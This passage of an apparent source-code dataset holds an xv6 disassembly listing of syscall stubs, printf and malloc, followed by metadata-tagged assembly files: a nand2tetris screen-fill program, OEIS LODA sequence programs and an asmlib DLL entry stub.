51f: b8 06 00 00 00 mov $0x6,%eax 524: cd 40 int $0x40 526: c3 ret 00000527 <exec>: SYSCALL(exec) 527: b8 07 00 00 00 mov $0x7,%eax 52c: cd 40 int $0x40 52e: c3 ret 0000052f <open>: SYSCALL(open) 52f: b8 0f 00 00 00 mov $0xf,%eax 534: cd 40 int $0x40 536: c3 ret 00000537 <mknod>: SYSCALL(mknod) 537: b8 11 00 00 00 mov $0x11,%eax 53c: cd 40 int $0x40 53e: c3 ret 0000053f <unlink>: SYSCALL(unlink) 53f: b8 12 00 00 00 mov $0x12,%eax 544: cd 40 int $0x40 546: c3 ret 00000547 <fstat>: SYSCALL(fstat) 547: b8 08 00 00 00 mov $0x8,%eax 54c: cd 40 int $0x40 54e: c3 ret 0000054f <link>: SYSCALL(link) 54f: b8 13 00 00 00 mov $0x13,%eax 554: cd 40 int $0x40 556: c3 ret 00000557 <mkdir>: SYSCALL(mkdir) 557: b8 14 00 00 00 mov $0x14,%eax 55c: cd 40 int $0x40 55e: c3 ret 0000055f <chdir>: SYSCALL(chdir) 55f: b8 09 00 00 00 mov $0x9,%eax 564: cd 40 int $0x40 566: c3 ret 00000567 <dup>: SYSCALL(dup) 567: b8 0a 00 00 00 mov $0xa,%eax 56c: cd 40 int $0x40 56e: c3 ret 0000056f <getpid>: SYSCALL(getpid) 56f: b8 0b 00 00 00 mov $0xb,%eax 574: cd 40 int $0x40 576: c3 ret 00000577 <sbrk>: SYSCALL(sbrk) 577: b8 0c 00 00 00 mov $0xc,%eax 57c: cd 40 int $0x40 57e: c3 ret 0000057f <sleep>: SYSCALL(sleep) 57f: b8 0d 00 00 00 mov $0xd,%eax 584: cd 40 int $0x40 586: c3 ret 00000587 <uptime>: SYSCALL(uptime) 587: b8 0e 00 00 00 mov $0xe,%eax 58c: cd 40 int $0x40 58e: c3 ret 0000058f <halt>: SYSCALL(halt) 58f: b8 16 00 00 00 mov $0x16,%eax 594: cd 40 int $0x40 596: c3 ret 00000597 <date>: //Project additions SYSCALL(date) 597: b8 17 00 00 00 mov $0x17,%eax 59c: cd 40 int $0x40 59e: c3 ret 0000059f <getuid>: SYSCALL(getuid) 59f: b8 18 00 00 00 mov $0x18,%eax 5a4: cd 40 int $0x40 5a6: c3 ret 000005a7 <getgid>: SYSCALL(getgid) 5a7: b8 19 00 00 00 mov $0x19,%eax 5ac: cd 40 int $0x40 5ae: c3 ret 000005af <getppid>: SYSCALL(getppid) 5af: b8 1a 00 00 00 mov $0x1a,%eax 5b4: cd 40 int $0x40 5b6: c3 ret 000005b7 <setuid>: SYSCALL(setuid) 5b7: b8 1b 00 00 00 mov $0x1b,%eax 5bc: cd 40 int $0x40 5be: c3 ret 000005bf <setgid>: SYSCALL(setgid) 5bf: b8 1c 00 00 00 mov $0x1c,%eax 5c4: cd 40 int $0x40 5c6: c3 ret 000005c7 <getprocs>: SYSCALL(getprocs) 5c7: b8 1d 00 00 00 mov $0x1d,%eax 5cc: cd 40 int $0x40 5ce: c3 ret 000005cf <putc>: #include "stat.h" #include "user.h" static void putc(int fd, char c) { 5cf: 55 push %ebp 5d0: 89 e5 mov %esp,%ebp 5d2: 83 ec 18 sub $0x18,%esp 5d5: 8b 45 0c mov 0xc(%ebp),%eax 5d8: 88 45 f4 mov %al,-0xc(%ebp) write(fd, &c, 1); 5db: 83 ec 04 sub $0x4,%esp 5de: 6a 01 push $0x1 5e0: 8d 45 f4 lea -0xc(%ebp),%eax 5e3: 50 push %eax 5e4: ff 75 08 pushl 0x8(%ebp) 5e7: e8 23 ff ff ff call 50f <write> 5ec: 83 c4 10 add $0x10,%esp } 5ef: 90 nop 5f0: c9 leave 5f1: c3 ret 000005f2 <printint>: static void printint(int fd, int xx, int base, int sgn) { 5f2: 55 push %ebp 5f3: 89 e5 mov %esp,%ebp 5f5: 53 push %ebx 5f6: 83 ec 24 sub $0x24,%esp static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 5f9: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) if(sgn && xx < 0){ 600: 83 7d 14 00 cmpl $0x0,0x14(%ebp) 604: 74 17 je 61d <printint+0x2b> 606: 83 7d 0c 00 cmpl $0x0,0xc(%ebp) 60a: 79 11 jns 61d <printint+0x2b> neg = 1; 60c: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp) x = -xx; 613: 8b 45 0c mov 0xc(%ebp),%eax 616: f7 d8 neg %eax 618: 89 45 ec mov %eax,-0x14(%ebp) 61b: eb 06 jmp 623 <printint+0x31> } else { x = xx; 61d: 8b 45 0c mov 0xc(%ebp),%eax 620: 89 45 ec mov %eax,-0x14(%ebp) } i = 0; 623: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) do{ buf[i++] = digits[x % base]; 62a: 8b 4d f4 mov -0xc(%ebp),%ecx 62d: 8d 41 01 lea 0x1(%ecx),%eax 630: 89 45 f4 mov %eax,-0xc(%ebp) 633: 8b 5d 10 mov 0x10(%ebp),%ebx 636: 8b 45 ec mov -0x14(%ebp),%eax 639: ba 00 00 00 00 mov $0x0,%edx 63e: f7 f3 div %ebx 640: 89 d0 mov %edx,%eax 642: 0f b6 80 5c 0d 00 00 movzbl 0xd5c(%eax),%eax 649: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1) }while((x /= base) != 0); 64d: 8b 5d 10 mov 0x10(%ebp),%ebx 650: 8b 45 ec mov -0x14(%ebp),%eax 653: ba 00 00 00 00 mov $0x0,%edx 658: f7 f3 div %ebx 65a: 89 45 ec mov %eax,-0x14(%ebp) 65d: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 661: 75 c7 jne 62a <printint+0x38> if(neg) 663: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 667: 74 2d je 696 <printint+0xa4> buf[i++] = '-'; 669: 8b 45 f4 mov -0xc(%ebp),%eax 66c: 8d 50 01 lea 0x1(%eax),%edx 66f: 89 55 f4 mov %edx,-0xc(%ebp) 672: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1) while(--i >= 0) 677: eb 1d jmp 696 <printint+0xa4> putc(fd, buf[i]); 679: 8d 55 dc lea -0x24(%ebp),%edx 67c: 8b 45 f4 mov -0xc(%ebp),%eax 67f: 01 d0 add %edx,%eax 681: 0f b6 00 movzbl (%eax),%eax 684: 0f be c0 movsbl %al,%eax 687: 83 ec 08 sub $0x8,%esp 68a: 50 push %eax 68b: ff 75 08 pushl 0x8(%ebp) 68e: e8 3c ff ff ff call 5cf <putc> 693: 83 c4 10 add $0x10,%esp buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 696: 83 6d f4 01 subl $0x1,-0xc(%ebp) 69a: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 69e: 79 d9 jns 679 <printint+0x87> putc(fd, buf[i]); } 6a0: 90 nop 6a1: 8b 5d fc mov -0x4(%ebp),%ebx 6a4: c9 leave 6a5: c3 ret 000006a6 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 6a6: 55 push %ebp 6a7: 89 e5 mov %esp,%ebp 6a9: 83 ec 28 sub $0x28,%esp char *s; int c, i, state; uint *ap; state = 0; 6ac: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) ap = (uint*)(void*)&fmt + 1; 6b3: 8d 45 0c lea 0xc(%ebp),%eax 6b6: 83 c0 04 add $0x4,%eax 6b9: 89 45 e8 mov %eax,-0x18(%ebp) for(i = 0; fmt[i]; i++){ 6bc: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 6c3: e9 59 01 00 00 jmp 821 <printf+0x17b> c = fmt[i] & 0xff; 6c8: 8b 55 0c mov 0xc(%ebp),%edx 6cb: 8b 45 f0 mov -0x10(%ebp),%eax 6ce: 01 d0 add %edx,%eax 6d0: 0f b6 00 movzbl (%eax),%eax 6d3: 0f be c0 movsbl %al,%eax 6d6: 25 ff 00 00 00 and $0xff,%eax 6db: 89 45 e4 mov %eax,-0x1c(%ebp) if(state == 0){ 6de: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 6e2: 75 2c jne 710 <printf+0x6a> if(c == '%'){ 6e4: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 6e8: 75 0c jne 6f6 <printf+0x50> state = '%'; 6ea: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp) 6f1: e9 27 01 00 00 jmp 81d <printf+0x177> } else { putc(fd, c); 6f6: 8b 45 e4 mov -0x1c(%ebp),%eax 6f9: 0f be c0 movsbl %al,%eax 6fc: 83 ec 08 sub $0x8,%esp 6ff: 50 push %eax 700: ff 75 08 pushl 0x8(%ebp) 703: e8 c7 fe ff ff call 5cf <putc> 708: 83 c4 10 add $0x10,%esp 70b: e9 0d 01 00 00 jmp 81d <printf+0x177> } } else if(state == '%'){ 710: 83 7d ec 25 cmpl $0x25,-0x14(%ebp) 714: 0f 85 03 01 00 00 jne 81d <printf+0x177> if(c == 'd'){ 71a: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp) 71e: 75 1e jne 73e <printf+0x98> printint(fd, *ap, 10, 1); 720: 8b 45 e8 mov -0x18(%ebp),%eax 723: 8b 00 mov (%eax),%eax 725: 6a 01 push $0x1 727: 6a 0a push $0xa 729: 50 push %eax 72a: ff 75 08 pushl 0x8(%ebp) 72d: e8 c0 fe ff ff call 5f2 <printint> 732: 83 c4 10 add $0x10,%esp ap++; 735: 83 45 e8 04 addl $0x4,-0x18(%ebp) 739: e9 d8 00 00 00 jmp 816 <printf+0x170> } else if(c == 'x' || c == 'p'){ 73e: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp) 742: 74 06 je 74a <printf+0xa4> 744: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp) 748: 75 1e jne 768 <printf+0xc2> printint(fd, *ap, 16, 0); 74a: 8b 45 e8 mov -0x18(%ebp),%eax 74d: 8b 00 mov (%eax),%eax 74f: 6a 00 push $0x0 751: 6a 10 push $0x10 753: 50 push %eax 754: ff 75 08 pushl 0x8(%ebp) 757: e8 96 fe ff ff call 5f2 <printint> 75c: 83 c4 10 add $0x10,%esp ap++; 75f: 83 45 e8 04 addl $0x4,-0x18(%ebp) 763: e9 ae 00 00 00 jmp 816 <printf+0x170> } else if(c == 's'){ 768: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp) 76c: 75 43 jne 7b1 <printf+0x10b> s = (char*)*ap; 76e: 8b 45 e8 mov -0x18(%ebp),%eax 771: 8b 00 mov (%eax),%eax 773: 89 45 f4 mov %eax,-0xc(%ebp) ap++; 776: 83 45 e8 04 addl $0x4,-0x18(%ebp) if(s == 0) 77a: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 77e: 75 25 jne 7a5 <printf+0xff> s = "(null)"; 780: c7 45 f4 01 0b 00 00 movl $0xb01,-0xc(%ebp) while(*s != 0){ 787: eb 1c jmp 7a5 <printf+0xff> putc(fd, *s); 789: 8b 45 f4 mov -0xc(%ebp),%eax 78c: 0f b6 00 movzbl (%eax),%eax 78f: 0f be c0 movsbl %al,%eax 792: 83 ec 08 sub $0x8,%esp 795: 50 push %eax 796: ff 75 08 pushl 0x8(%ebp) 799: e8 31 fe ff ff call 5cf <putc> 79e: 83 c4 10 add $0x10,%esp s++; 7a1: 83 45 f4 01 addl $0x1,-0xc(%ebp) } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 7a5: 8b 45 f4 mov -0xc(%ebp),%eax 7a8: 0f b6 00 movzbl (%eax),%eax 7ab: 84 c0 test %al,%al 7ad: 75 da jne 789 <printf+0xe3> 7af: eb 65 jmp 816 <printf+0x170> putc(fd, *s); s++; } } else if(c == 'c'){ 7b1: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp) 7b5: 75 1d jne 7d4 <printf+0x12e> putc(fd, *ap); 7b7: 8b 45 e8 mov -0x18(%ebp),%eax 7ba: 8b 00 mov (%eax),%eax 7bc: 0f be c0 movsbl %al,%eax 7bf: 83 ec 08 sub $0x8,%esp 7c2: 50 push %eax 7c3: ff 75 08 pushl 0x8(%ebp) 7c6: e8 04 fe ff ff call 5cf <putc> 7cb: 83 c4 10 add $0x10,%esp ap++; 7ce: 83 45 e8 04 addl $0x4,-0x18(%ebp) 7d2: eb 42 jmp 816 <printf+0x170> } else if(c == '%'){ 7d4: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 7d8: 75 17 jne 7f1 <printf+0x14b> putc(fd, c); 7da: 8b 45 e4 mov -0x1c(%ebp),%eax 7dd: 0f be c0 movsbl %al,%eax 7e0: 83 ec 08 sub $0x8,%esp 7e3: 50 push %eax 7e4: ff 75 08 pushl 0x8(%ebp) 7e7: e8 e3 fd ff ff call 5cf <putc> 7ec: 83 c4 10 add $0x10,%esp 7ef: eb 25 jmp 816 <printf+0x170> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); 7f1: 83 ec 08 sub $0x8,%esp 7f4: 6a 25 push $0x25 7f6: ff 75 08 pushl 0x8(%ebp) 7f9: e8 d1 fd ff ff call 5cf <putc> 7fe: 83 c4 10 add $0x10,%esp putc(fd, c); 801: 8b 45 e4 mov -0x1c(%ebp),%eax 804: 0f be c0 movsbl %al,%eax 807: 83 ec 08 sub $0x8,%esp 80a: 50 push %eax 80b: ff 75 08 pushl 0x8(%ebp) 80e: e8 bc fd ff ff call 5cf <putc> 813: 83 c4 10 add $0x10,%esp } state = 0; 816: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 81d: 83 45 f0 01 addl $0x1,-0x10(%ebp) 821: 8b 55 0c mov 0xc(%ebp),%edx 824: 8b 45 f0 mov -0x10(%ebp),%eax 827: 01 d0 add %edx,%eax 829: 0f b6 00 movzbl (%eax),%eax 82c: 84 c0 test %al,%al 82e: 0f 85 94 fe ff ff jne 6c8 <printf+0x22> putc(fd, c); } state = 0; } } } 834: 90 nop 835: c9 leave 836: c3 ret 00000837 <free>: static Header base; static Header *freep; void free(void *ap) { 837: 55 push %ebp 838: 89 e5 mov %esp,%ebp 83a: 83 ec 10 sub $0x10,%esp Header *bp, *p; bp = (Header*)ap - 1; 83d: 8b 45 08 mov 0x8(%ebp),%eax 840: 83 e8 08 sub $0x8,%eax 843: 89 45 f8 mov %eax,-0x8(%ebp) for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 846: a1 78 0d 00 00 mov 0xd78,%eax 84b: 89 45 fc mov %eax,-0x4(%ebp) 84e: eb 24 jmp 874 <free+0x3d> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 850: 8b 45 fc mov -0x4(%ebp),%eax 853: 8b 00 mov (%eax),%eax 855: 3b 45 fc cmp -0x4(%ebp),%eax 858: 77 12 ja 86c <free+0x35> 85a: 8b 45 f8 mov -0x8(%ebp),%eax 85d: 3b 45 fc cmp -0x4(%ebp),%eax 860: 77 24 ja 886 <free+0x4f> 862: 8b 45 fc mov -0x4(%ebp),%eax 865: 8b 00 mov (%eax),%eax 867: 3b 45 f8 cmp -0x8(%ebp),%eax 86a: 77 1a ja 886 <free+0x4f> free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 86c: 8b 45 fc mov -0x4(%ebp),%eax 86f: 8b 00 mov (%eax),%eax 871: 89 45 fc mov %eax,-0x4(%ebp) 874: 8b 45 f8 mov -0x8(%ebp),%eax 877: 3b 45 fc cmp -0x4(%ebp),%eax 87a: 76 d4 jbe 850 <free+0x19> 87c: 8b 45 fc mov -0x4(%ebp),%eax 87f: 8b 00 mov (%eax),%eax 881: 3b 45 f8 cmp -0x8(%ebp),%eax 884: 76 ca jbe 850 <free+0x19> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ 886: 8b 45 f8 mov -0x8(%ebp),%eax 889: 8b 40 04 mov 0x4(%eax),%eax 88c: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx 893: 8b 45 f8 mov -0x8(%ebp),%eax 896: 01 c2 add %eax,%edx 898: 8b 45 fc mov -0x4(%ebp),%eax 89b: 8b 00 mov (%eax),%eax 89d: 39 c2 cmp %eax,%edx 89f: 75 24 jne 8c5 <free+0x8e> bp->s.size += p->s.ptr->s.size; 8a1: 8b 45 f8 mov -0x8(%ebp),%eax 8a4: 8b 50 04 mov 0x4(%eax),%edx 8a7: 8b 45 fc mov -0x4(%ebp),%eax 8aa: 8b 00 mov (%eax),%eax 8ac: 8b 40 04 mov 0x4(%eax),%eax 8af: 01 c2 add %eax,%edx 8b1: 8b 45 f8 mov -0x8(%ebp),%eax 8b4: 89 50 04 mov %edx,0x4(%eax) bp->s.ptr = p->s.ptr->s.ptr; 8b7: 8b 45 fc mov -0x4(%ebp),%eax 8ba: 8b 00 mov (%eax),%eax 8bc: 8b 10 mov (%eax),%edx 8be: 8b 45 f8 mov -0x8(%ebp),%eax 8c1: 89 10 mov %edx,(%eax) 8c3: eb 0a jmp 8cf <free+0x98> } else bp->s.ptr = p->s.ptr; 8c5: 8b 45 fc mov -0x4(%ebp),%eax 8c8: 8b 10 mov (%eax),%edx 8ca: 8b 45 f8 mov -0x8(%ebp),%eax 8cd: 89 10 mov %edx,(%eax) if(p + p->s.size == bp){ 8cf: 8b 45 fc mov -0x4(%ebp),%eax 8d2: 8b 40 04 mov 0x4(%eax),%eax 8d5: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx 8dc: 8b 45 fc mov -0x4(%ebp),%eax 8df: 01 d0 add %edx,%eax 8e1: 3b 45 f8 cmp -0x8(%ebp),%eax 8e4: 75 20 jne 906 <free+0xcf> p->s.size += bp->s.size; 8e6: 8b 45 fc mov -0x4(%ebp),%eax 8e9: 8b 50 04 mov 0x4(%eax),%edx 8ec: 8b 45 f8 mov -0x8(%ebp),%eax 8ef: 8b 40 04 mov 0x4(%eax),%eax 8f2: 01 c2 add %eax,%edx 8f4: 8b 45 fc mov -0x4(%ebp),%eax 8f7: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 8fa: 8b 45 f8 mov -0x8(%ebp),%eax 8fd: 8b 10 mov (%eax),%edx 8ff: 8b 45 fc mov -0x4(%ebp),%eax 902: 89 10 mov %edx,(%eax) 904: eb 08 jmp 90e <free+0xd7> } else p->s.ptr = bp; 906: 8b 45 fc mov -0x4(%ebp),%eax 909: 8b 55 f8 mov -0x8(%ebp),%edx 90c: 89 10 mov %edx,(%eax) freep = p; 90e: 8b 45 fc mov -0x4(%ebp),%eax 911: a3 78 0d 00 00 mov %eax,0xd78 } 916: 90 nop 917: c9 leave 918: c3 ret 00000919 <morecore>: static Header* morecore(uint nu) { 919: 55 push %ebp 91a: 89 e5 mov %esp,%ebp 91c: 83 ec 18 sub $0x18,%esp char *p; Header *hp; if(nu < 4096) 91f: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp) 926: 77 07 ja 92f <morecore+0x16> nu = 4096; 928: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp) p = sbrk(nu * sizeof(Header)); 92f: 8b 45 08 mov 0x8(%ebp),%eax 932: c1 e0 03 shl $0x3,%eax 935: 83 ec 0c sub $0xc,%esp 938: 50 push %eax 939: e8 39 fc ff ff call 577 <sbrk> 93e: 83 c4 10 add $0x10,%esp 941: 89 45 f4 mov %eax,-0xc(%ebp) if(p == (char*)-1) 944: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp) 948: 75 07 jne 951 <morecore+0x38> return 0; 94a: b8 00 00 00 00 mov $0x0,%eax 94f: eb 26 jmp 977 <morecore+0x5e> hp = (Header*)p; 951: 8b 45 f4 mov -0xc(%ebp),%eax 954: 89 45 f0 mov %eax,-0x10(%ebp) hp->s.size = nu; 957: 8b 45 f0 mov -0x10(%ebp),%eax 95a: 8b 55 08 mov 0x8(%ebp),%edx 95d: 89 50 04 mov %edx,0x4(%eax) free((void*)(hp + 1)); 960: 8b 45 f0 mov -0x10(%ebp),%eax 963: 83 c0 08 add $0x8,%eax 966: 83 ec 0c sub $0xc,%esp 969: 50 push %eax 96a: e8 c8 fe ff ff call 837 <free> 96f: 83 c4 10 add $0x10,%esp return freep; 972: a1 78 0d 00 00 mov 0xd78,%eax } 977: c9 leave 978: c3 ret 00000979 <malloc>: void* malloc(uint nbytes) { 979: 55 push %ebp 97a: 89 e5 mov %esp,%ebp 97c: 83 ec 18 sub $0x18,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 97f: 8b 45 08 mov 0x8(%ebp),%eax 982: 83 c0 07 add $0x7,%eax 985: c1 e8 03 shr $0x3,%eax 988: 83 c0 01 add $0x1,%eax 98b: 89 45 ec mov %eax,-0x14(%ebp) if((prevp = freep) == 0){ 98e: a1 78 0d 00 00 mov 0xd78,%eax 993: 89 45 f0 mov %eax,-0x10(%ebp) 996: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 99a: 75 23 jne 9bf <malloc+0x46> base.s.ptr = freep = prevp = &base; 99c: c7 45 f0 70 0d 00 00 movl $0xd70,-0x10(%ebp) 9a3: 8b 45 f0 mov -0x10(%ebp),%eax 9a6: a3 78 0d 00 00 mov %eax,0xd78 9ab: a1 78 0d 00 00 mov 0xd78,%eax 9b0: a3 70 0d 00 00 mov %eax,0xd70 base.s.size = 0; 9b5: c7 05 74 0d 00 00 00 movl $0x0,0xd74 9bc: 00 00 00 } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 9bf: 8b 45 f0 mov -0x10(%ebp),%eax 9c2: 8b 00 mov (%eax),%eax 9c4: 89 45 f4 mov %eax,-0xc(%ebp) if(p->s.size >= nunits){ 9c7: 8b 45 f4 mov -0xc(%ebp),%eax 9ca: 8b 40 04 mov 0x4(%eax),%eax 9cd: 3b 45 ec cmp -0x14(%ebp),%eax 9d0: 72 4d jb a1f <malloc+0xa6> if(p->s.size == nunits) 9d2: 8b 45 f4 mov -0xc(%ebp),%eax 9d5: 8b 40 04 mov 0x4(%eax),%eax 9d8: 3b 45 ec cmp -0x14(%ebp),%eax 9db: 75 0c jne 9e9 <malloc+0x70> prevp->s.ptr = p->s.ptr; 9dd: 8b 45 f4 mov -0xc(%ebp),%eax 9e0: 8b 10 mov (%eax),%edx 9e2: 8b 45 f0 mov -0x10(%ebp),%eax 9e5: 89 10 mov %edx,(%eax) 9e7: eb 26 jmp a0f <malloc+0x96> else { p->s.size -= nunits; 9e9: 8b 45 f4 mov -0xc(%ebp),%eax 9ec: 8b 40 04 mov 0x4(%eax),%eax 9ef: 2b 45 ec sub -0x14(%ebp),%eax 9f2: 89 c2 mov %eax,%edx 9f4: 8b 45 f4 mov -0xc(%ebp),%eax 9f7: 89 50 04 mov %edx,0x4(%eax) p += p->s.size; 9fa: 8b 45 f4 mov -0xc(%ebp),%eax 9fd: 8b 40 04 mov 0x4(%eax),%eax a00: c1 e0 03 shl $0x3,%eax a03: 01 45 f4 add %eax,-0xc(%ebp) p->s.size = nunits; a06: 8b 45 f4 mov -0xc(%ebp),%eax a09: 8b 55 ec mov -0x14(%ebp),%edx a0c: 89 50 04 mov %edx,0x4(%eax) } freep = prevp; a0f: 8b 45 f0 mov -0x10(%ebp),%eax a12: a3 78 0d 00 00 mov %eax,0xd78 return (void*)(p + 1); a17: 8b 45 f4 mov -0xc(%ebp),%eax a1a: 83 c0 08 add $0x8,%eax a1d: eb 3b jmp a5a <malloc+0xe1> } if(p == freep) a1f: a1 78 0d 00 00 mov 0xd78,%eax a24: 39 45 f4 cmp %eax,-0xc(%ebp) a27: 75 1e jne a47 <malloc+0xce> if((p = morecore(nunits)) == 0) a29: 83 ec 0c sub $0xc,%esp a2c: ff 75 ec pushl -0x14(%ebp) a2f: e8 e5 fe ff ff call 919 <morecore> a34: 83 c4 10 add $0x10,%esp a37: 89 45 f4 mov %eax,-0xc(%ebp) a3a: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) a3e: 75 07 jne a47 <malloc+0xce> return 0; a40: b8 00 00 00 00 mov $0x0,%eax a45: eb 13 jmp a5a <malloc+0xe1> nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ a47: 8b 45 f4 mov -0xc(%ebp),%eax a4a: 89 45 f0 mov %eax,-0x10(%ebp) a4d: 8b 45 f4 mov -0xc(%ebp),%eax a50: 8b 00 mov (%eax),%eax a52: 89 45 f4 mov %eax,-0xc(%ebp) return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } a55: e9 6d ff ff ff jmp 9c7 <malloc+0x4e> } a5a: c9 leave a5b: c3 ret
36.159236
92
0.426634
d93d635d08e126f8075a2cca1519438ec4507343
864
asm
Assembly
projects/04/fill/Fill_alt.asm
SamFu1113/Nand2tetris
7b8288a9c2af219f571b407aebb47550fa06e790
[ "MIT" ]
2
2021-11-10T02:02:15.000Z
2021-11-10T02:25:50.000Z
projects/04/fill/Fill_alt.asm
SamFu1113/Nand2tetris
7b8288a9c2af219f571b407aebb47550fa06e790
[ "MIT" ]
null
null
null
projects/04/fill/Fill_alt.asm
SamFu1113/Nand2tetris
7b8288a9c2af219f571b407aebb47550fa06e790
[ "MIT" ]
null
null
null
// This file is part of www.nand2tetris.org // and the book "The Elements of Computing Systems" // by Nisan and Schocken, MIT Press. // File name: projects/04/Fill.asm // Runs an infinite loop that listens to the keyboard input. // When a key is pressed (any key), the program blackens the screen, // i.e. writes "black" in every pixel. When no key is pressed, the // program clears the screen, i.e. writes "white" in every pixel. // Put your code here. @24575 D=A @last M=D (LOOP) @SCREEN D=A-1 @R0 M=D @KBD D=M @FILL D;JNE @CLEAR D;JEQ @LOOP 0;JMP (FILL) @R0 D=M @last D=M-D @LOOP D;JEQ @R0 M=M+1 @0 D=!A @R0 A=M M=D @FILL 0;JMP (CLEAR) @R0 D=M @last D=M-D @LOOP D;JEQ @R0 M=M+1 A=M M=0 @CLEAR 0;JMP
13.935484
68
0.549769
08b16ac9c8d21cfb60d2d1cc75991474c7a81c27
714
asm
Assembly
oeis/004/A004676.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/004/A004676.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/004/A004676.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A004676: Primes written in base 2. ; Submitted by Jon Maiga ; 10,11,101,111,1011,1101,10001,10011,10111,11101,11111,100101,101001,101011,101111,110101,111011,111101,1000011,1000111,1001001,1001111,1010011,1011001,1100001,1100101,1100111,1101011,1101101,1110001,1111111,10000011,10001001,10001011,10010101,10010111,10011101,10100011,10100111,10101101,10110011,10110101,10111111,11000001,11000101,11000111,11010011,11011111,11100011,11100101,11101001,11101111,11110001,11111011,100000001,100000111,100001101,100001111,100010101,100011001,100011011,100100101 seq $0,40 ; The prime numbers. seq $0,7088 ; The binary numbers (or binary words, or binary vectors, or binary expansion of n): numbers written in base 2.
102
495
0.829132
b1abb99c320fe8cf41dbf402d4c23d272ad2a268
224
asm
Assembly
core/src/main/c/share/asmlib/libad64.asm
terasum/questdb
43175a77653312c82a7361770ee09e64dce40d29
[ "Apache-2.0" ]
8,451
2019-11-18T10:25:08.000Z
2022-03-31T16:13:52.000Z
core/src/main/c/share/asmlib/libad64.asm
terasum/questdb
43175a77653312c82a7361770ee09e64dce40d29
[ "Apache-2.0" ]
1,278
2019-11-18T11:31:17.000Z
2022-03-31T21:34:49.000Z
core/src/main/c/share/asmlib/libad64.asm
terasum/questdb
43175a77653312c82a7361770ee09e64dce40d29
[ "Apache-2.0" ]
493
2019-11-18T11:19:29.000Z
2022-03-29T18:21:12.000Z
; ----------------------------- LIBAD64.ASM --------------------------- ; DLL entry function for LIBAD64.DLL default rel global DllEntry SECTION .text align=16 DllEntry: mov eax, 1 ret ;DllMain endp
16
71
0.491071
f13cb463e7d18f92244c4c448f29dd850d69dc92
568
asm
Assembly
programs/oeis/048/A048488.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/048/A048488.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/048/A048488.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A048488: a(n) = 6*2^n - 5. ; 1,7,19,43,91,187,379,763,1531,3067,6139,12283,24571,49147,98299,196603,393211,786427,1572859,3145723,6291451,12582907,25165819,50331643,100663291,201326587,402653179,805306363,1610612731,3221225467,6442450939,12884901883,25769803771,51539607547,103079215099,206158430203,412316860411,824633720827,1649267441659,3298534883323,6597069766651,13194139533307,26388279066619,52776558133243,105553116266491,211106232532987,422212465065979,844424930131963,1688849860263931,3377699720527867,6755399441055739 mov $1,2 pow $1,$0 mul $1,6 sub $1,5
71
500
0.846831
f40c564070b82d24973d778767f5d00e25344187
91,718
